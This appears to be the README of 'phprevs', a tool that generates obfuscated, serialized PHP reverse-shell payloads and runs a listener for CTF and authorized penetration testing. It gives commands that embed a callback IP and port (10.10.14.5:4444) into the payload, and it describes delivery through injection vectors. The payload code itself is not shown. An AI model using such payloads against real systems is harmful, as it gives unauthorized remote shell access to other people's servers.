phprevs

Minimal PHP reverse shell generator and listener for authorized security testing and CTF environments.

PHP · Python 3 · Minimal Dependencies · CTF / Lab Focused

---

Overview

phprevs is a lightweight toolkit for generating and handling PHP reverse-shell payloads in controlled security-testing environments.

The project is designed for scenarios such as authorized penetration testing, CTF challenges, and isolated security laboratories where a PHP execution or injection vector is already available.

---

Project Structure

File	Purpose
payload/shell.php	Full PHP payload template with socket, process, daemon, and fallback web-mode support
payload/shell_min.php	Compact payload for environments with strict size limitations
generate.py	Generates, optionally obfuscates, and serializes the payload
listen.py	Raw TCP listener with bidirectional logging and terminal controls

---

Workflow

1. Start the Listener

python3 listen.py 4444

2. Generate the Payload

python3 generate.py \
  --ip 10.10.14.5 \
  --port 4444

Optional token:

python3 generate.py \
  --ip 10.10.14.5 \
  --port 4444 \
  --token ctft0ken

The generator produces the final serialized payload and the encoded output required by the supported delivery workflow.

3. Deliver the Payload

Use the generated artifact only through an authorized execution or injection vector within your test environment.

---

Payload Modes

Full Payload

payload/shell.php provides the complete implementation, including socket handling, process execution, daemon support, and a fallback web mode.

Minimal Payload

payload/shell_min.php is intended for delivery paths with strict size restrictions, such as limited request fields or cookies.

Web Fallback

Where outbound TCP connectivity is unavailable, the full template includes a fallback HTTP mode for controlled testing environments.

---

Generator

generate.py handles the payload preparation process automatically.

Features include:

• IP and port configuration
• Optional authentication token
• Payload rendering
• Optional Base64-based obfuscation
• Serialization
• Automatic serialized-length calculation
• Generation of the final PHP artifact
• Delivery-oriented output

This avoids manual byte-counting and reduces serialization errors during testing.

---

Listener

listen.py provides a lightweight raw TCP listener with:

• Bidirectional session logging
• Interactive terminal input
• Ctrl-] to terminate
• Ctrl-T to toggle CRLF handling

Start a listener with:

python3 listen.py <PORT>

Example:

python3 listen.py 4444

---

Local Testing

Before using the project in a CTF or authorized assessment, validate the generated artifact locally.

Generate the payload:

python3 generate.py \
  --ip 127.0.0.1 \
  --port 4444 \
  --token testtoken

Start the listener:

python3 listen.py 4444

Serve the generated PHP file with PHP's built-in server:

php -S 127.0.0.1:8000 -t out/

Then access the generated PHP artifact from the local test environment.

A successful connection confirms that the generated stage and listener are functioning together.

---

Output

Generated artifacts are stored under:

out/

Typical output includes:

out/final.php

The generator also reports the encoded payload size and the location of the generated artifact.

---

Requirements

Minimum requirements:

Python 3
PHP

The project is intended primarily for:

Linux
Kali Linux
CTF environments
Isolated security laboratories

---

Operational Notes

Each generated shell is static for the selected execution parameters. The configured IP address and port are embedded into the generated stage.

The generator automatically calculates serialized lengths, eliminating the need for manual size calculations.

For interactive sessions, terminal behavior may depend on the environment and the capabilities available on the remote system.

---

Responsible Use

phprevs is intended only for:

• CTF competitions
• Security laboratories
• Authorized penetration tests
• Internal security assessments
• Controlled research environments

Do not deploy the generated payloads against systems without explicit authorization.

The operator is responsible for ensuring that all testing remains within the authorized scope.

---